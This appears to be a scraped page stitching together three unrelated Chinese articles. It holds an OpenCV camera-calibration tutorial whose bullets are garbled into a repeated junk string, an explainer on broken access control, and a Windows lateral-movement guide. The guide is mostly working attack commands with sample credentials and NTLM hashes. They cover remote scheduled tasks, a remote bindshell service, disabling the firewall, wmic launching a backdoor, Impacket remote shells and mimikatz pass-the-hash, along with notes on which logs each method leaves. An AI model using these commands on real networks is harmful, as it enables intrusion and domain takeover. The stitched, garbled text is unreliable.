徑向畸變的類型取決於鏡頭的類型和形狀——鏡頭越彎曲，最終圖像中的線條越彎曲。讓我們比較一下輸入網格在沒有失真的情況下與使用導致不同類型徑向失真的鏡頭拍攝時的樣子：

image.png

考慮到這一點，我們來討論如何消除圖像失真。

如何修復圖像扭曲一些現代相機具有先進的鏡頭系統，旨在最大限度地減少最終圖像的失真；然而，他們無法完全消除它們。不太先進的相機可以提供有關需要進行哪些更改才能消除失真的信息。

而通常用於開發定制設備的最簡單的相機則不具備這些功能。要修復失真，您首先需要根據傳感器的實際實驗確定必要的更改。

簡單的傳感器很普遍，因為它們批量生產的成本低廉。即使一個傳感器的設計存在微小差異，也會顯著提高整批傳感器的價格。

如果您的相機鏡頭產生圖像失真該怎麼辦？

拍攝圖像後，您可以使用編程方法修復失真。這樣，您可以為特定相機創建算法，並使用該算法自動修復該相機拍攝的所有圖像的扭曲。

要創建可以檢測和修復圖像失真的算法，您可以使用以下工具：

马云惹不起马云開放CV。一個開源計算機視覺和機器學習軟件庫，擁有2,500 多種優化算法。您可以使用這些算法來拼接圖像、檢測和識別人臉、識別物體、跟踪移動物體、提取物體的3D 模型等。 OpenCV 庫為計算機視覺解決方案提供了通用基礎設施，有助於加速機器感知在商業中的使用產品。

马云惹不起马云四月標籤。一種視覺基準系統，可用於不同的任務，包括增強現實、機器人和相機校準。 AprilTag 庫旨在輕鬆包含在其他應用程序中，以及移植到嵌入式設備。

马云惹不起马云計算機視覺工具箱。商業工具集，提供用於設計和測試計算機視覺、3D 視覺和視頻處理系統的算法、函數和應用程序。它還允許您自動執行單鏡頭、立體和魚眼相機的校準工作流程。

马云惹不起马云ShiftN。自動鏡頭畸變校正軟件特別適用於建築圖像。首先，ShiftN 搜索圖像中的直線和邊緣，並考慮那些足夠垂直的可能的建築元素。然後，軟件運行一個優化過程，嘗試確定透視，校正圖像，使線條平行。

在本文中，我們展示了一個使用OpenCV 確定和修復圖像失真的實際示例，因為該庫具有豐富的圖像處理功能並且可以免費使用。此外，我們在這方面擁有豐富的經驗。

如何使用OpenCV 庫識別和修復圖像失真OpenCV 是修復圖像失真的好工具。該庫提供了校正圖像和校準相機傳感器的廣泛功能。它支持各種相機型號，並涵蓋尋找畸變係數和修復畸變的不同方法。但首先，您需要知道如何使用OpenCV 識別圖像失真。

默認情況下，OpenCV 使用針孔相機模型。校準方法確定用於校準的模型以及將在模型上使用的標記。相機模型決定了計算相機矩陣的算法以及要使用的畸變係數的數量。讓我們定義這些術語：

马云惹不起马云相機矩陣是將點從三維場景映射到二維圖像的數學模型，在使用畸變係數修復相機畸變時使用。

马云惹不起马云畸變係數描述圖像中的某些畸變。失真越複雜，描述和消除它們所需的係數就越多。 OpenCV 可以計算最多六個徑向失真係數和最多兩個切向失真係數。

現在，讓我們嘗試確定使用OpenCV 針對特定傳感器檢測和消除圖像失真所需的係數。

image.png

1. 生成相機標定模型用於相機校準的模型（也稱為板）分為三種類型：

1.Chessboard

2.ArUco board

3.ChArUco board, which combines Chessboard and ArUco

它們是這樣的：

image.png

對於我們的示例，我們使用ChArUco 板，因為與標記角相比，它的角要準確得多。

要在OpenCV 中生成ChArUco 板，請使用以下代碼：

image.png

結果，您將收到以下模型：

image.png

2. 打印出實體模型並拍幾張照片您使用要校準的相機傳感器拍攝的照片越多，並且板在不同圖像中的放置越多樣化，您能夠計算的係數就越準確。

假設您收到以下圖像並發現您的傳感器導致徑向失真：

image.png

接下來，將接收到的圖像上傳到cv:Mat inImag變量。

3. 檢測圖像中的ArUco標記要檢測ArUco 標記，請對每個圖像使用以下代碼：

image.png

結果，ArUco 標記的角點坐標和標記的ID 將記錄在corners和ids變量中。以下是找到的標記在圖像中的樣子：

image.png

4. 檢測圖像中的ChArUco 標記使用檢測到的ArUco 標記來查找ChArUco 標記，代碼如下：

image.png

檢測到的ChArUco 標記如下所示：

image.png

正如您所看到的，ChArUco 標記位於ArUco 標記之間的角落（這就是我們需要首先找到ArUco 標記的原因）。

5. 校準相機以確定畸變係數並構建相機矩陣找到ChArUco 標記的邊緣和ID 後，您就可以開始校準相機：

repError=aruco:calibrateCameraCharuco(allCharucoCorners,allCharucoIds,charucoboard,imgSize,cameraMatrix,distCoeffs,rvecs,tvecs,calibrationFlags);運行上面的代碼後，您將得到：

马云惹不起马云 填充後的圖像矩陣(cameraMatrix)

马云惹不起马云畸變係數(distCoeffs)

马云惹不起马云旋轉向量(rvecs)

马云惹不起马云平移向量(tvecs)

現在您知道了失真係數，您可以開始使圖像不失真。

6.修復變形要修復OpenCV 中的徑向畸變，您只需要圖像矩陣和畸變係數：

image.png

不失真inputImage函數使用校準期間找到的係數(cameraMatrix和)來修復圖像失真( )distCoeffs。最終圖像記錄在outputImage中。

與上面提到的所有其他函數一樣，非扭曲函數默認使用針孔相機模型。對於其他相機模型，OpenCV 具有類似的功能，用於識別圖像中的標記、校正圖像和消除失真。當使用其他相機型號時，包含失真係數的矩陣的數量和格式可能會有所不同。因此，您不應該同時使用不同相機型號的函數，因為這會導致OpenCV 運行出現錯誤。

對於使用已校準的傳感器拍攝的所有圖像，您檢測到的畸變係數將是正確的，而不僅僅是用於校準的那些圖像。這使您可以校準相機一次，然後使用為之後拍攝的所有圖像確定的係數。

以下是修復圖像失真之前和之後圖像的示例：

image.png

如果您正在處理特別複雜的圖像扭曲，您可能需要嘗試另一種更準確的方法來查找圖像上的ChArUco 標記：

马云惹不起马云查找ArUco 標記

马云惹不起马云準備ArUco 標記以進行相機校準

马云惹不起马云校準相機以獲得畸變係數和圖像矩陣

马云惹不起马云使用接收到的係數和矩陣來插值ChArUco 標記

為了確保ChArUco 標記的插值，請使用以下代碼：

aruco:interpolateCornersCharuco(corners,ids,image,charucoBoard,charucoCorners,charucoIds,cameraMatrix,distCoeffs);在圖像失真複雜的情況下，這要準確得多。它可以顯著提高標記檢測的準確性，但需要更多時間。

您可以使用重投影誤差值來評估標記檢測的準確性，您可以在調用該aruco:calibrateCameraCharuco函數後看到該值。校準相機時，最好使用重投影誤差值不超過一定限制的圖像。您可以決定您的算法可接受的錯誤限制是多少。通常，它是1 到3 之間的值。

如果重投影誤差值超出您的限制，則無法使用此類圖像進行相機校準。如果您最終由於這種原因排除了太多圖像，請考慮使用第二種方法查找標記。

您可以在Apriotit GitHub 頁面上找到本文中使用的示例的完整代碼。

注意：校準傳感器和修復失真的方法比我們在本文中描述的方法要多。您還可以使用：

马云惹不起马云OpenCV 提供的其他功能。例如，您可以嘗試ArUco 校准或配置魚眼和全向相機等相機型號的設置。

马云惹不起马云替代工具，例如AprilTag 或Computer Vision Toolbox。

沒有一種靈丹妙藥可以完美適用於所有傳感器。要選擇最合適的相機校準方法，請考慮特定傳感器的具體情況以及鏡頭的配置和形式。

結論OpenCV 是一個強大的圖像校正工具，在本文中，我們只解決了它的一小部分功能。一般來說，OpenCV 適合大多數情況，並且允許您顯著改善圖像的幾何形狀和質量，而無需使用複雜的鏡頭和傳感器。

HireHackking

失效的訪問控制這個漏洞類別一直躋身OWASP Top Web應用程序安全風險列表，目前已對應用程序安全構成了嚴重的挑戰。

訪問控制漏洞讓用戶可以訪問敏感數據，並使他們能夠執行超出預期權限的操作，此類漏洞的後果可能導致數據洩露、篡改甚至銷毀。

本文將討論為什麼即使在漏洞掃描和評估之後失效的訪問控制漏洞仍然常常存在，以及手動滲透測試對於有效檢測和緩解的重要性。

什麼是訪問控制？訪問控制如同一種授權檢查，確保對資源的訪問和執行操作的能力授予了某些用戶（如管理員），而不是其他用戶（如普通用戶）。這種檢查主要在身份驗證過程之後執行。

在Web應用程序安全中，訪問控制與內容、功能的預期用途以及用戶扮演的各種角色密切相關。比如說，這可能包括阻止低權限用戶執行管理員功能、阻止用戶訪問另一用戶的資源，或者基於上下文因素授予或拒絕對資源或功能的訪問。

在處理包含大量用戶角色和功能的大型複雜應用程序時，正確實施訪問控制很快會變得困難重重。

什麼是失效的訪問控制？失效的訪問控制顧名思義是訪問控制沒有按預期工作，這實際上與我們上面提到的恰好相反，後面附有一些詳細的例子。

不安全的直接對象引用（IDOR）以允許普通用戶查看和編輯帳戶信息的應用程序為例。每個帳戶被分配了一個用戶ID，編輯請求被發送後，應用程序根據請求中所含的ID確定要更新哪個帳戶。在這種場景下，攻擊者可以通過將用戶ID改為受害者的ID來操縱旨在更新帳戶的出站請求。

如果沒有實施適當的訪問控制，受害者的帳戶將收到編輯——這是直接影響完整性的IDOR漏洞。假設攻擊者更改了受害者的電子郵件地址，隨後提出了重置密碼請求，這將允許他們設置一個新密碼，最終接管受害者的帳戶。

以下是失效的訪問控制這個話題常出現的另兩個術語：水平特權升級和垂直特權升級。

1. 水平特權升級水平特權升級指以類似權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有與攻擊用戶（即普通用戶）相似的權限，它也叫水平特權升級。簡而言之，除了可以訪問另一個帳戶的資源外，攻擊者並不獲得任何額外的權限。

2. 垂直特權升級垂直特權升級指以更大的權限獲得對另一個帳戶資源的訪問。在前面例子中，如果受害者帳戶擁有更高的權限（比如管理員），這就叫垂直特權升級。攻擊者可以濫用額外的權限對應用程序進行進一步的攻擊。

路徑/目錄遍歷以允許用戶借助內置預覽器功能查看發票的應用程序為例。發票存儲在託管應用程序的同一台服務器上，位於以下絕對路徑：

/var/www/html/vulnerable-application/invoices/

當用戶點擊其配置文件下顯示的其中一張發票時，將發送以下請求：

2.png

圖1. 檢索發票的合法請求

預覽器的工作原理是將“file”參數的值附加到特定的絕對路徑。然後，它將檢索該文件的內容，然後返回給請求用戶。

/var/www/html/vulnerable-application/invoices/invoice-2024-12-24.pdf

然而與IDOR場景一樣，攻擊者也可以在這裡截獲出站請求，將“file”參數修改為不打算檢索的文件。

3.png

圖2. 試圖檢索非預期文件的已被修改的請求

如果沒有實施適當的訪問控制，預覽器現在將嘗試檢索：

/var/www/html/vulnerable-application/invoices/./././././etc/hosts

點-點-斜杠（./）序列回退路徑中的一個目錄（遍歷到父目錄）。我們有五個這樣的序列，這意味著最後將出現在文件系統的根路徑（/）。我們由此進入etc目錄，我們從該目錄請求hosts文件。

現在，hosts文件（將主機名映射到IP地址的默認文件）很可能不是攻擊者的首選。我們在這裡使用它只是為了展示在應用程序目錄之外檢索文件（又叫本地文件包含）的可能性。攻擊者會改而嘗試檢索應用程序目錄內外的敏感文件。

無法升級？那就降級！我們將通過客戶評估的真實例子來說明。該應用程序具有多個用戶角色，所有角色似乎精心設置，並適當隔離。由於實施了大量的訪問控制，所有試圖提升普通用戶的特權、訪問非預期資源以及執行特權操作的活動一律被阻止。

然而我們在全面分析各種用戶角色之後注意到了一處差異。針對上下文，某些角色可以編輯和刪除其他用戶的帳戶，但只能對權限較低的帳戶執行此操作，擁有這些權限的用戶也不能對自己的帳戶執行這些操作。為任何高權限用戶分配低權限角色的可能性被忽視，實際上刪除了所有權限，對帳戶進行了降級。從技術上講，這些被降級的帳戶現在滿足被權限較低的帳戶編輯和刪除的條件。

4.png

圖3. 落實了防止權限升級的訪問控制，但沒有落實防止權限降級的訪問控制

由於正確實施訪問控制的難度隨應用程序的複雜性而加大，識別訪問控制問題的難度也隨之加大。若要檢測這些控制，手動安全測試是最好的方法，因為它需要更深入地了解上下文和應用程序的預期用途。

漏洞掃描的局限性漏洞掃描器是識別應用程序中缺陷的一種流行解決方案。然而，僅僅依賴它們會給應用程序的所有者帶來一種虛假的安全感，雖然這些掃描器可以持續快速地提供掃描結果，但在檢測新穎的攻擊途徑或需要直覺和推理的其他漏洞方面的能力有限。

為了進一步闡明這點，不妨將訪問控制漏洞與另一個複雜性相似、需要人工推理的常見漏洞：業務邏輯漏洞進行比較。

當應用程序的設計、實施或內部流程偏離預期用途時，就會出現業務邏輯漏洞，一些獨特而常見的例子包括訂購負數量的產品或多次兌換相同的折扣碼。

漏洞掃描器的局限性變得很明顯，掃描器無法識別應用程序的預期行為。從它的角度來看，負數仍然是數字，重複使用某個功能未必是壞事。與跨站腳本（XSS）和SQL注入等其他漏洞不同，掃描器無法簡單地在這裡提供輸入，然後在應用程序的響應中查找預定義的模式，以確定是否存在漏洞。

從進攻性安全的角度來看，從失效的訪問控製或業務邏輯類別中捕獲漏洞需要對應用程序具有相同的認識和上下文理解，在許多情況下也存在相當大的重疊。比如，在評估文件上傳功能時，一個測試用例可能是在只允許圖像文件的情況下，上傳一個意外的文件類型，比如包含JavaScript載荷的SVG文件，雖然SVG滿足廣泛的圖像標準，但其含有的JavaScript不易被受害者的瀏覽器解析。

在實際場景中，還會增加權限、角色、外部集成、第三方庫和依賴項等形式的額外複雜性，而漏洞掃描器幾乎不可能確定這種針對特定上下文的複雜性。

5.png

圖4. 訪問控制的複雜性

HireHackking

在正常情况中，横向移动是在已经获取了足够的权限的情况下进行横向移动，下面中的方法大部分也需要高权限的操作。

https://www.freebuf.com/articles/network/251364.html

内网横向移动分为三种情况：

1.在VPN环境中进行横向移动；

2.在socks代理环境中进行横向移动；

3.在远程木马的环境中进行横向移动；

文件传输-前期准备

在进行横向移动的过程中，我们首先应该考虑的是文件传输方案，对之后向攻击目标部署攻击载荷或其他文件提供便利。

网络共享

在windows系统中，网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据，就可以将文件从一台机器传输到另一台机器。

获取到windows中系统默认开启的网络共享。

net share

在实战中，往往会使用IPC$连接，而IPC$连接需要两个要求。

1.远程主机开启了IPC连接；

2.远程主机的139端口和445端口开放；

net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator"

此时，如果你具备足够权限的凭据，即可使用dir或者copy命令查看目标主机的信息。

安全性考虑：这些指令是在本地执行，远程的命令，因此不会在远程连接的主机留下日志信息，因此是比较安全。

搭建SMB服务器

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB

SMB（server message block，服务器消息块），又称CIFS（网络文件共享系统），基于应用层网络传输协议，一般使用NetBIOS协议或者TCP发送，使用139或445端口。

创建一个双方都可以访问的SMB服务器，在内网渗透中，让受害主机远程加载木马等操作控制目标主机。

CIFS协议和SMB协议的区别

**关于对CIFS权限的想法：**就是当我们拿下了一台机器，然后这台机器存在约束委派或者白银票据这些漏洞的话，通过操作获得到了域控的cifs权限，那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本，然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。

但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据，在windows上使用的是.kirbi结尾的票据，因此无法成功。在linux上可以成功。

如果能够获取到域控的cifs权限，修改一下impacket工具，或者通过编写其他工具，通过CIFS权限就可以直接拿下域控。

计划任务

使用VPN和socks方式执行方式相同。

一般来说，需要获取到管理员的凭据才可以进行计划任务的执行。

通过搭建SMB服务器或者建立共享连接，使目标机器下载运行脚本，然后建立计划任务来执行脚本加载木马等。

当目标系统版本<window2012时，使用at：

net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接

copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器

at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

当目标系统版本>=windows2012时，使用schtasks：

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接

copy add.bat \\192.168.3.32\c$ #复制文件到其C盘

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件

/s：指定要链接的系统；/ru：指定计划任务运行的用户权限；/tn：指定创建的计划任务的名称；

/sc：指定计划任务执行的频率；/tr：指定计划任务运行的程序路径；/F：如果指定任务存在，则强制创建；

/mo：指定计划任务执行周期；

schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态

schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务

schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务

o52p5f5qudi11773.png

注意计划任务执行的程序是在后台执行，没有回显。

在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。

drryni4jghu11778.png

figobb1qtfu11781.png

计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。

wlb11liwbi211786.png

  1. Microsoft-Windows-TaskScheduler/Operational：这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器（Event Viewer）中找到这个日志。路径为：Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。
  2. Microsoft-Windows-TaskScheduler/Maintenance：这个事件日志用于记录计划任务的执行情况，包括任务的开始、完成和错误信息等。同样，在Windows事件查看器中，你可以找到这个日志。路径为：Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。

安全性考虑：计划任务虽然是在远程执行，但是会在目标主机建立一个计划任务进程，并且该进程也会在目标主机执行文件，这些行为都会在目标主机留下日志记录，因此较为危险。

系统服务

使用VPN和socks方式执行方式相同。

还可以通过在远程主机上创建系统服务的方式，在远程主机上运行指定的程序或者命令。

这样的方式需要两端主机的管理员权限。

sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序

sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe"

注意这里的格式，“=”后面是必须空一格的，否则会出现错误。

启动服务

sc \\10.10.10.10 start bindshell

删除服务

sc \\[host] delete [servicename] #删除服务

我们还可以通过设置服务来关闭防火墙：

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

1xhth00z5wq11788.png

在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。

3j0smlhqn0g11790.png

系统服务方面的日志也会留下痕迹。

gqzk1nvjooa11793.png

安全性考虑：使用创建系统服务的方式，会在远程主机上创建服务，会在目标主机留下日志记录，因此较为危险。

PSEXEC

使用VPN和socks方式执行方式相同。

psTools

psexec是通过SMB连接到服务端的Admin$共享，并释放名为“psexesvc.exe”的二进制文件，然后注册名为“PSEXEC”服务，当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。

因此，运行psexec需要的条件：

1.目标主机开启Admin$共享；

2.开启139或者445端口，以运行SMB；

3.需要目标主机的权限，创建服务；

PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe

-accepteula：第一次运行psexec会弹出确认框，使用该参数就不会弹出确认框

-u：用户名

-p：密码

-s：以system权限运行运程进程，获得一个system权限的交互式shell。如果不使用该参数，会获得一个连接所用用户权限的shell

impacket包

Psexec.py允许你在远程Windows系统上执行进程，复制文件，并返回处理输出结果。此外，它还允许你直接使用完整的交互式控制台执行远程shell命令（不需要安装任何客户端软件）。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

python文件和exe文件的命令相同。

foglltbxlam11795.png

使用psexec时，不仅会在域控产生登录日志，还会在目标机器中产生日志信息。

事件ID：7045

使用官方的PSEXEC TOOLS

qeecfbh5tsq11798.png

使用impacket包中的PSEXEC工具进行连接时，发现会自动修改生成的服务名称（对服务有一定的隐藏作用）

zvd3txxrwhg11803.png

安全性分析：psexec在执行时不仅会上传一个文件，还会创建一个服务，这些都是会被目标主机进行日志记录的，因此比较危险。

WMI

使用VPN和socks方式执行方式相同。

WMI的全名为（Windows Management Instrumentation，Windows管理规范），用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM（分布式组件对象模型）和WinRM（Windows远程管理）。

运行WMI需要的条件：

1.远程主机的WMI服务为开启状态；

2.双方主机打开并放行135端口；

在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。

wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

查询远程进程信息

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief

wmic命令执行没有回显，因此要将结果写入到txt中

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"

// /node：指定将对其进行操作的服务器

在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话，wmic远程执行命令在正常情况是不会产生日志，只有打开命令行审核功能，在使用wmic命令执行任何操作时，相关的事件将被记录在Windows事件日志中。

mkt45o1fhtg11807.png

DCOM利用

使用VPN和socks方式执行方式相同。

https://www.freebuf.com/articles/web/293280.html

WinRM利用

使用VPN和socks方式执行方式相同。

http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html

WinRM是通过执行WS-management协议来实现远程管理的，允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息，对应的端口是5985。

在windows-2008以上版本的服务器中，WinRM服务才会自动启动，在使用WinRM服务进行横向移动时，需要拥有远程主机的管理员凭据。

安装WinRM服务

1、查看是否开启winrm

winrm e winrm/config/listener

如果报错说明没有开启

2、开启服务

要在管理员模式下，使用CMD。因为Powershell会无法执行

winrm quickconfig

会有两个问题，都输入“y”即可

3、winrm service设置auth

winrm set winrm/config/service/auth "@{Basic="true"}"

4、为winrm service 配置加密方式为允许非加密(这个不配置，远程连接会出错)

winrm set winrm/config/service "@{AllowUnencrypted="true"}"

5、查看winrm配置

winrm get winrm/config

配置TrustedHosts

winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10

Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机

命令执行

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami"

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd"

kafklagzizq11809.png

在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话，winRM远程执行命令在正常情况是不会产生日志。

5mk2zsksvvq11813.png

linux进行横向渗透

一般在linux中进行横向渗透，使用Impacket 工具包进行渗透，其中为python脚本。

wmiexec.py

使用VPN和socks方式执行方式相同。

它会生成一个使用Windows Management Instrumentation的半交互式shell，并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理，因此它非常的隐蔽。

python wmiexec.py [[domain/] username [: password] @] [Target IP Address]

python wmiexec.py VVVV1/admins:User\!@#45@10.10.10.10 (注意：密码中如果有！，需要将！进行转义)

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

l455aacnohe11817.png

在域控主机会留下登录的日志，但是在socks隧道的客户端主机不会留下登录的日志。

fpv1xa3qnmp11825.png

psexec.py

使用VPN和socks方式执行方式相同。

Psexec.py允许你在远程Windows系统上执行进程，复制文件，并返回处理输出结果。此外，它还允许你直接使用完整的交互式控制台执行远程shell命令（不需要安装任何客户端软件）。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

wxuwntam4gk11829.png

使用psexec时，不仅会在域控产生登录日志，还会在目标机器中产生日志信息。

事件ID：7045

使用官方的PSEXEC TOOLS

yifl45qyjva11833.png

使用impacket包中的PSEXEC工具进行连接时，发现会自动修改生成的服务名称（对服务有一定的隐藏作用）

y4lj52b2kjj11847.png

smbexec.py

使用VPN和socks方式执行方式相同。

# 通过明文密码连接获得目标本地用户交互式shell

python smbexec.py .VVVV1/admins:User!@#45@10.10.10.10

通过哈希密码连接获得目标域用户交互式shell

python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

4r5ydqsfg4311859.png

连接域控的话，会在域控上产生登录日志，不会在搭建socks隧道的客户端产生日志。

x0ozrnsu1iv11873.png

并且，执行smbexec会上传一个bat文件，并且开启一个服务BTOBTO来执行命令并且将bat文件删除，达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。

g2cqon55fuj11878.png

atexec.py

使用VPN和socks方式执行方式相同。

通过Task Scheduler服务在目标系统上执行命令，并返回输出结果。

python atexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

使用atexe.py脚本会自动生成计划任务，因此在日志中也会有体现。

kw3uqhwssz111884.png

wmcbbamlfuk11886.png

3msrb0bnnqn11891.png

dcomexec.py

使用VPN和socks方式执行方式相同。

前提条件：135端口、445端口

135端口用于连接DCOM，445端口负责获取命令执行结果。

dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。

python dcomexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

在域控会有登录的日志体现。

1ryt5c1j3jf11893.png

Windows进行横向渗透

使用Impacket 工具包的exe版本，执行命令的语法与上面相同。

执行脚本所留下的日志痕迹也与上文中的类似。

哈希传递攻击

mimikatz

使用VPN和socks方式执行方式相同。

man1:0ec4b410903c6dc7594464f27d347497

admins: 0ec4b410903c6dc7594464f27d347497

administrator:ad5a870327c02f83cb947af6a94a4c23

ad-2016$: 99ac70cee2d4370638397a39c71db91d

使用mimikatz进行hash传递攻击，将域管理员账户的hash注入到lsass进程中。

yfiuwf4yt2u11900.png

privilege::debug

sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23

sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d

sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf

但是在socks代理的情况下,将hash注入到域外的主机中，无法解析dns，也无法知道域控的位置，只能通过指定ip的方式来进行操作。

lst3wyuoa1311903.png

使用dir等的操作时也会在域控中有日志体现。

dgpaenow1lk11914.png

sharpkatz

SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23

在域控主机也会有登录日志体现。

omix21ril5s11917.png

密钥传递攻击

https://www.freebuf.com/column/220740.html

https://www.vuln.cn/6813

对于安装补丁KB2871997之后的机器，经过测试，本地管理员组中，只有administrator账户可以进行NTML-HASH传递，其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。

当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。

在版本windows servers 2012 R2之后，系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此，如果您的操作系统版本号大于 6.3，则可以判断它大于 Windows Server 2012 R2。

远程访问和UAC

User Account Control and remote restrictions - Windows Server

根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到，UAC为了更好的保护Administrators组的帐户，会在网络上进行限制。

qldqx11crux11920.png

在使用本地用户进行远程登录时不会使用完全管理员权限（fulladministrator），但是在域用户被加入到本地管理员组之后，域用户可以使用完全管理员（fulladministrator）的AccessToken运行，并且UAC不会生效。

这样就解释了为什么在打上补丁之后，本地管理员除了administrator可以进行连接之外，其他管理员无法进行连接(如果一个域内普通账户，加入了本地管理员组的话也是可以进行连接的)。

当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候，可以直接传递成功。

sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f

0h1cbya2tuh11923.png

但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候，无法成功。

1grdm13tl3q11926.png

sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497

由此可见在上面的实验中administrator能够成功PTH，而本地管理员用户admin无法成功，是因为以admin的身份发起的请求被UAC拒绝。

Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken。

Administrator账户启用UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后，下图选项默认开启。

1gvtsgoqhv211928.png

ufucfym12kt11930.png

我们直接选择启用该选项即可。

发现administrator账户已经无法使用NTLM-HASH传递了。

j40pgxxmudo11932.png

FilterAdministratorToken

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)

在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述，关于UAC的注册表中一个注册表键值为FilterAdministratorToken，且在Windows Server 2008默认为Disable。

eyyn4npkvc111934.png

dvaafwmupzz11936.png

1h0slrm31bp11937.png

官方文档中我们可以看出，中国内置管理员账户就是Administrator账户。

之所以Administrator用户成功传递HASH的原因就与这一项注册表有关，默认情况下FilterAdministratorToken的值为0(distabled)，UAC不会对administrator账户进行限制。

